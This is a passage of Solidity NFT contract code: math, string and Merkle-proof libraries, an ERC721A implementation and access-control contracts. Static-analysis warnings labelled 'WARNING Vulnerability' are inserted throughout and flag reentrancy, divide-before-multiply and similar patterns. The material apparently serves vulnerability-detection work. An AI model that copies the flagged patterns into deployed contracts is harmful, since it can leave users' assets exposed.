Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 1783622: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: 30418fe): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for 30418fe: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod0 := mul(x, y)\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (~denominator + 1);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: 5bf8909\n\t\t\t\t// divide-before-multiply | ID: 0191616\n\t\t\t\t// divide-before-multiply | ID: 95bff36\n\t\t\t\t// divide-before-multiply | ID: 99c9d44\n\t\t\t\t// divide-before-multiply | ID: b76f310\n\t\t\t\t// divide-before-multiply | ID: c0602f0\n\t\t\t\t// divide-before-multiply | ID: 1783622\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: 9ca6784\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: 99c9d44\n\t\t\t// incorrect-exp | ID: 30418fe\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: 0191616\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: b76f310\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 5bf8909\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 1783622\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: c0602f0\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 95bff36\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 9ca6784\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 16;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n\nlibrary SignedMath {\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n\nlibrary Strings {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toString(int256 value) internal pure returns (string memory) {\n return\n string(\n abi.encodePacked(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n )\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n\n value >>= 4;\n }\n\n require(value == 0, \"Strings: hex length insufficient\");\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\nabstract contract ERC165 is IERC165 {\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n\ncontract ERC721A is Context, ERC165, IERC721A {\n using Address for address;\n\n using Strings for uint256;\n\n uint256 internal _currentIndex;\n\n uint256 internal _burnCounter;\n\n string private _name;\n\n string private _symbol;\n\n mapping(uint256 => TokenOwnership) internal _ownerships;\n\n mapping(address => AddressData) private _addressData;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n _currentIndex = _startTokenId();\n }\n\n function _startTokenId() internal view virtual returns (uint256) {\n return 0;\n }\n\n function totalSupply() public view override returns (uint256) {\n unchecked {\n return _currentIndex - _burnCounter - _startTokenId();\n }\n }\n\n function _totalMinted() internal view returns (uint256) {\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function balanceOf(address owner) public view override returns (uint256) {\n if (owner == address(0)) revert BalanceQueryForZeroAddress();\n\n return uint256(_addressData[owner].balance);\n }\n\n function _numberMinted(address owner) internal view returns (uint256) {\n return uint256(_addressData[owner].numberMinted);\n }\n\n function _numberBurned(address owner) internal view returns (uint256) {\n return uint256(_addressData[owner].numberBurned);\n }\n\n function _getAux(address owner) internal view returns (uint64) {\n return _addressData[owner].aux;\n }\n\n function _setAux(address owner, uint64 aux) internal {\n _addressData[owner].aux = aux;\n }\n\n function _ownershipOf(\n uint256 tokenId\n ) internal view returns (TokenOwnership memory) {\n uint256 curr = tokenId;\n\n unchecked {\n if (_startTokenId() <= curr)\n if (curr < _currentIndex) {\n TokenOwnership memory ownership = _ownerships[curr];\n\n if (!ownership.burned) {\n if (ownership.addr != address(0)) {\n return ownership;\n }\n\n while (true) {\n curr--;\n\n ownership = _ownerships[curr];\n\n if (ownership.addr != address(0)) {\n return ownership;\n }\n }\n }\n }\n }\n\n revert OwnerQueryForNonexistentToken();\n }\n\n function ownerOf(uint256 tokenId) public view override returns (address) {\n return _ownershipOf(tokenId).addr;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = _baseURI();\n\n return\n bytes(baseURI).length != 0\n ? string(abi.encodePacked(baseURI, tokenId.toString()))\n : \"\";\n }\n\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n function approve(address to, uint256 tokenId) public override {\n address owner = ERC721A.ownerOf(tokenId);\n\n if (to == owner) revert ApprovalToCurrentOwner();\n\n if (_msgSender() != owner)\n if (!isApprovedForAll(owner, _msgSender())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n\n _approve(to, tokenId, owner);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view override returns (address) {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n if (operator == _msgSender()) revert ApproveToCaller();\n\n _operatorApprovals[_msgSender()][operator] = approved;\n\n emit ApprovalForAll(_msgSender(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n _transfer(from, to, tokenId);\n\n if (to.isContract())\n if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n }\n\n function _exists(uint256 tokenId) internal view returns (bool) {\n return\n _startTokenId() <= tokenId &&\n tokenId < _currentIndex &&\n !_ownerships[tokenId].burned;\n }\n\n function _safeMint(address to, uint256 quantity) internal {\n _safeMint(to, quantity, \"\");\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 68b760a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 68b760a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: f591510): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for f591510: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _safeMint(\n address to,\n uint256 quantity,\n bytes memory _data\n ) internal {\n uint256 startTokenId = _currentIndex;\n\n if (to == address(0)) revert MintToZeroAddress();\n\n if (quantity == 0) revert MintZeroQuantity();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n unchecked {\n _addressData[to].balance += uint64(quantity);\n\n _addressData[to].numberMinted += uint64(quantity);\n\n _ownerships[startTokenId].addr = to;\n\n _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);\n\n uint256 updatedIndex = startTokenId;\n\n uint256 end = updatedIndex + quantity;\n\n if (to.isContract()) {\n do {\n\t\t\t\t\t// reentrancy-events | ID: 68b760a\n emit Transfer(address(0), to, updatedIndex);\n\n if (\n\t\t\t\t\t\t// reentrancy-events | ID: 68b760a\n\t\t\t\t\t\t// reentrancy-no-eth | ID: f591510\n !_checkContractOnERC721Received(\n address(0),\n to,\n updatedIndex++,\n _data\n )\n ) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n } while (updatedIndex < end);\n\n if (_currentIndex != startTokenId) revert();\n } else {\n do {\n emit Transfer(address(0), to, updatedIndex++);\n } while (updatedIndex < end);\n }\n\n\t\t\t// reentrancy-no-eth | ID: f591510\n _currentIndex = updatedIndex;\n }\n\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n function _mint(address to, uint256 quantity) internal {\n uint256 startTokenId = _currentIndex;\n\n if (to == address(0)) revert MintToZeroAddress();\n\n if (quantity == 0) revert MintZeroQuantity();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n unchecked {\n _addressData[to].balance += uint64(quantity);\n\n _addressData[to].numberMinted += uint64(quantity);\n\n _ownerships[startTokenId].addr = to;\n\n _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);\n\n uint256 updatedIndex = startTokenId;\n\n uint256 end = updatedIndex + quantity;\n\n do {\n emit Transfer(address(0), to, updatedIndex++);\n } while (updatedIndex < end);\n\n _currentIndex = updatedIndex;\n }\n\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n function _transfer(address from, address to, uint256 tokenId) private {\n TokenOwnership memory prevOwnership = _ownershipOf(tokenId);\n\n if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();\n\n bool isApprovedOrOwner = (_msgSender() == from ||\n isApprovedForAll(from, _msgSender()) ||\n getApproved(tokenId) == _msgSender());\n\n if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();\n\n if (to == address(0)) revert TransferToZeroAddress();\n\n _beforeTokenTransfers(from, to, tokenId, 1);\n\n _approve(address(0), tokenId, from);\n\n unchecked {\n _addressData[from].balance -= 1;\n\n _addressData[to].balance += 1;\n\n TokenOwnership storage currSlot = _ownerships[tokenId];\n\n currSlot.addr = to;\n\n currSlot.startTimestamp = uint64(block.timestamp);\n\n uint256 nextTokenId = tokenId + 1;\n\n TokenOwnership storage nextSlot = _ownerships[nextTokenId];\n\n if (nextSlot.addr == address(0)) {\n if (nextTokenId != _currentIndex) {\n nextSlot.addr = from;\n\n nextSlot.startTimestamp = prevOwnership.startTimestamp;\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n function _burn(uint256 tokenId) internal virtual {\n _burn(tokenId, false);\n }\n\n function _burn(uint256 tokenId, bool approvalCheck) internal virtual {\n TokenOwnership memory prevOwnership = _ownershipOf(tokenId);\n\n address from = prevOwnership.addr;\n\n if (approvalCheck) {\n bool isApprovedOrOwner = (_msgSender() == from ||\n isApprovedForAll(from, _msgSender()) ||\n getApproved(tokenId) == _msgSender());\n\n if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();\n }\n\n _beforeTokenTransfers(from, address(0), tokenId, 1);\n\n _approve(address(0), tokenId, from);\n\n unchecked {\n AddressData storage addressData = _addressData[from];\n\n addressData.balance -= 1;\n\n addressData.numberBurned += 1;\n\n TokenOwnership storage currSlot = _ownerships[tokenId];\n\n currSlot.addr = from;\n\n currSlot.startTimestamp = uint64(block.timestamp);\n\n currSlot.burned = true;\n\n uint256 nextTokenId = tokenId + 1;\n\n TokenOwnership storage nextSlot = _ownerships[nextTokenId];\n\n if (nextSlot.addr == address(0)) {\n if (nextTokenId != _currentIndex) {\n nextSlot.addr = from;\n\n nextSlot.startTimestamp = prevOwnership.startTimestamp;\n }\n }\n }\n\n emit Transfer(from, address(0), tokenId);\n\n _afterTokenTransfers(from, address(0), tokenId, 1);\n\n unchecked {\n _burnCounter++;\n }\n }\n\n function _approve(address to, uint256 tokenId, address owner) private {\n _tokenApprovals[tokenId] = to;\n\n emit Approval(owner, to, tokenId);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 55aea28): ERC721A._checkContractOnERC721Received(address,address,uint256,bytes) has external calls inside a loop retval = IERC721Receiver(to).onERC721Received(_msgSender(),from,tokenId,_data)\n\t// Recommendation for 55aea28: Favor pull over push strategy for external calls.\n function _checkContractOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n\t\t// reentrancy-events | ID: 68b760a\n\t\t// calls-loop | ID: 55aea28\n\t\t// reentrancy-no-eth | ID: 05c1b71\n\t\t// reentrancy-no-eth | ID: b159f80\n\t\t// reentrancy-no-eth | ID: 9bf73c4\n\t\t// reentrancy-no-eth | ID: 5f962b7\n\t\t// reentrancy-no-eth | ID: 0c2e5d8\n\t\t// reentrancy-no-eth | ID: f591510\n\t\t// reentrancy-no-eth | ID: 52a9137\n\t\t// reentrancy-no-eth | ID: 12105c4\n try\n IERC721Receiver(to).onERC721Received(\n _msgSender(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return retval == IERC721Receiver(to).onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert TransferToNonERC721ReceiverImplementer();\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n\n function _beforeTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n}\n\nabstract contract ReentrancyGuard {\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = _NOT_ENTERED;\n }\n\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n}\n\nlibrary MerkleProof {\n function verify(\n bytes32[] memory proof,\n bytes32 root,\n bytes32 leaf\n ) internal pure returns (bool) {\n return processProof(proof, leaf) == root;\n }\n\n function verifyCalldata(\n bytes32[] calldata proof,\n bytes32 root,\n bytes32 leaf\n ) internal pure returns (bool) {\n return processProofCalldata(proof, leaf) == root;\n }\n\n function processProof(\n bytes32[] memory proof,\n bytes32 leaf\n ) internal pure returns (bytes32) {\n bytes32 computedHash = leaf;\n\n for (uint256 i = 0; i < proof.length; i++) {\n computedHash = _hashPair(computedHash, proof[i]);\n }\n\n return computedHash;\n }\n\n function processProofCalldata(\n bytes32[] calldata proof,\n bytes32 leaf\n ) internal pure returns (bytes32) {\n bytes32 computedHash = leaf;\n\n for (uint256 i = 0; i < proof.length; i++) {\n computedHash = _hashPair(computedHash, proof[i]);\n }\n\n return computedHash;\n }\n\n function multiProofVerify(\n bytes32[] memory proof,\n bool[] memory proofFlags,\n bytes32 root,\n bytes32[] memory leaves\n ) internal pure returns (bool) {\n return processMultiProof(proof, proofFlags, leaves) == root;\n }\n\n function multiProofVerifyCalldata(\n bytes32[] calldata proof,\n bool[] calldata proofFlags,\n bytes32 root,\n bytes32[] memory leaves\n ) internal pure returns (bool) {\n return processMultiProofCalldata(proof, proofFlags, leaves) == root;\n }\n\n function processMultiProof(\n bytes32[] memory proof,\n bool[] memory proofFlags,\n bytes32[] memory leaves\n ) internal pure returns (bytes32 merkleRoot) {\n uint256 leavesLen = leaves.length;\n\n uint256 totalHashes = proofFlags.length;\n\n require(\n leavesLen + proof.length - 1 == totalHashes,\n \"MerkleProof: invalid multiproof\"\n );\n\n bytes32[] memory hashes = new bytes32[](totalHashes);\n\n uint256 leafPos = 0;\n\n uint256 hashPos = 0;\n\n uint256 proofPos = 0;\n\n for (uint256 i = 0; i < totalHashes; i++) {\n bytes32 a = leafPos < leavesLen\n ? leaves[leafPos++]\n : hashes[hashPos++];\n\n bytes32 b = proofFlags[i]\n ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])\n : proof[proofPos++];\n\n hashes[i] = _hashPair(a, b);\n }\n\n if (totalHashes > 0) {\n unchecked {\n return hashes[totalHashes - 1];\n }\n } else if (leavesLen > 0) {\n return leaves[0];\n } else {\n return proof[0];\n }\n }\n\n function processMultiProofCalldata(\n bytes32[] calldata proof,\n bool[] calldata proofFlags,\n bytes32[] memory leaves\n ) internal pure returns (bytes32 merkleRoot) {\n uint256 leavesLen = leaves.length;\n\n uint256 totalHashes = proofFlags.length;\n\n require(\n leavesLen + proof.length - 1 == totalHashes,\n \"MerkleProof: invalid multiproof\"\n );\n\n bytes32[] memory hashes = new bytes32[](totalHashes);\n\n uint256 leafPos = 0;\n\n uint256 hashPos = 0;\n\n uint256 proofPos = 0;\n\n for (uint256 i = 0; i < totalHashes; i++) {\n bytes32 a = leafPos < leavesLen\n ? leaves[leafPos++]\n : hashes[hashPos++];\n\n bytes32 b = proofFlags[i]\n ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])\n : proof[proofPos++];\n\n hashes[i] = _hashPair(a, b);\n }\n\n if (totalHashes > 0) {\n unchecked {\n return hashes[totalHashes - 1];\n }\n } else if (leavesLen > 0) {\n return leaves[0];\n } else {\n return proof[0];\n }\n }\n\n function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {\n return a < b ? _efficientHash(a, b) : _efficientHash(b, a);\n }\n\n function _efficientHash(\n bytes32 a,\n bytes32 b\n ) private pure returns (bytes32 value) {\n assembly {\n mstore(0x00, a)\n\n mstore(0x20, b)\n\n value := keccak256(0x00, 0x40)\n }\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface ICantBeEvil {\n function getLicenseURI() external view returns (string memory);\n\n function getLicenseName() external view returns (string memory);\n}\n\nenum LicenseVersion {\n PUBLIC,\n EXCLUSIVE,\n COMMERCIAL,\n COMMERCIAL_NO_HATE,\n PERSONAL,\n PERSONAL_NO_HATE\n}\n\ncontract CantBeEvil is ERC165, ICantBeEvil {\n using Strings for uint;\n\n string internal constant _BASE_LICENSE_URI =\n \"ar://zmc1WTspIhFyVY82bwfAIcIExLFH5lUcHHUN0wXg4W8/\";\n\n LicenseVersion internal licenseVersion;\n\n constructor(LicenseVersion _licenseVersion) {\n licenseVersion = _licenseVersion;\n }\n\n function getLicenseURI() public view returns (string memory) {\n return\n string.concat(_BASE_LICENSE_URI, uint(licenseVersion).toString());\n }\n\n function getLicenseName() public view returns (string memory) {\n return _getLicenseVersionKeyByValue(licenseVersion);\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165) returns (bool) {\n return\n interfaceId == type(ICantBeEvil).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function _getLicenseVersionKeyByValue(\n LicenseVersion _licenseVersion\n ) internal pure returns (string memory) {\n require(uint8(_licenseVersion) <= 6);\n\n if (LicenseVersion.PUBLIC == _licenseVersion) return \"PUBLIC\";\n\n if (LicenseVersion.EXCLUSIVE == _licenseVersion) return \"EXCLUSIVE\";\n\n if (LicenseVersion.COMMERCIAL == _licenseVersion) return \"COMMERCIAL\";\n\n if (LicenseVersion.COMMERCIAL_NO_HATE == _licenseVersion)\n return \"COMMERCIAL_NO_HATE\";\n\n if (LicenseVersion.PERSONAL == _licenseVersion) return \"PERSONAL\";\n else return \"PERSONAL_NO_HATE\";\n }\n}\n\ninterface IERC6551Registry {\n event ERC6551AccountCreated(\n address account,\n address indexed implementation,\n bytes32 salt,\n uint256 chainId,\n address indexed tokenContract,\n uint256 indexed tokenId\n );\n\n error AccountCreationFailed();\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cffa164): IERC6551Registry.createAccount(address,bytes32,uint256,address,uint256).account shadows IERC6551Registry.account(address,bytes32,uint256,address,uint256) (function)\n\t// Recommendation for cffa164: Rename the local variables that shadow another component.\n function createAccount(\n address implementation,\n bytes32 salt,\n uint256 chainId,\n address tokenContract,\n uint256 tokenId\n ) external returns (address account);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cffa164): IERC6551Registry.createAccount(address,bytes32,uint256,address,uint256).account shadows IERC6551Registry.account(address,bytes32,uint256,address,uint256) (function)\n\t// Recommendation for cffa164: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c66eea1): IERC6551Registry.account(address,bytes32,uint256,address,uint256).account shadows IERC6551Registry.account(address,bytes32,uint256,address,uint256) (function)\n\t// Recommendation for c66eea1: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c66eea1): IERC6551Registry.account(address,bytes32,uint256,address,uint256).account shadows IERC6551Registry.account(address,bytes32,uint256,address,uint256) (function)\n\t// Recommendation for c66eea1: Rename the local variables that shadow another component.\n function account(\n address implementation,\n bytes32 salt,\n uint256 chainId,\n address tokenContract,\n uint256 tokenId\n ) external view returns (address account);\n}\n\ninterface IOperatorAccessControl {\n event RoleGranted(\n bytes32 indexed role,\n address indexed account,\n address indexed sender\n );\n\n event RoleRevoked(\n bytes32 indexed role,\n address indexed account,\n address indexed sender\n );\n\n function hasRole(\n bytes32 role,\n address account\n ) external view returns (bool);\n\n function isOperator(address account) external view returns (bool);\n\n function addOperator(address account) external;\n\n function revokeOperator(address account) external;\n}\n\nabstract contract OperatorAccessControl is IOperatorAccessControl, Ownable {\n struct RoleData {\n mapping(address => bool) members;\n bytes32 adminRole;\n }\n\n mapping(bytes32 => RoleData) private _roles;\n\n bytes32 public constant OPERATOR_ROLE = keccak256(\"OPERATOR_ROLE\");\n\n function hasRole(\n bytes32 role,\n address account\n ) public view override returns (bool) {\n return _roles[role].members[account];\n }\n\n function _grantRole(bytes32 role, address account) private {\n if (!hasRole(role, account)) {\n _roles[role].members[account] = true;\n\n emit RoleGranted(role, account, _msgSender());\n }\n }\n\n function _setupRole(bytes32 role, address account) internal virtual {\n _grantRole(role, account);\n }\n\n function _revokeRole(bytes32 role, address account) private {\n if (hasRole(role, account)) {\n _roles[role].members[account] = false;\n\n emit RoleRevoked(role, account, _msgSender());\n }\n }\n\n modifier isOperatorOrOwner() {\n address _sender = _msgSender();\n\n require(\n isOperator(_sender) || owner() == _sender,\n \"OperatorAccessControl: caller is not operator or owner\"\n );\n\n _;\n }\n\n modifier onlyOperator() {\n require(\n isOperator(_msgSender()),\n \"OperatorAccessControl: caller is not operator\"\n );\n\n _;\n }\n\n function 